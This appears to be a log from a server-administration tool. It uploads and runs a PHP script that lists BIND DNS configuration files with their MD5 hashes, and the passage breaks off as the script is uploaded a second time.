MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 14:08:23: Establishing a connection
2026-05-13 14:08:23: 

PUT: /tmp/pkp580018

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 14:08:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp580018; rm /tmp/pkp580018'

2026-05-13 14:08:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 14:08:25: Establishing a connection
2026-05-13 14:08:25: 

PUT: /tmp/pkp141915

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
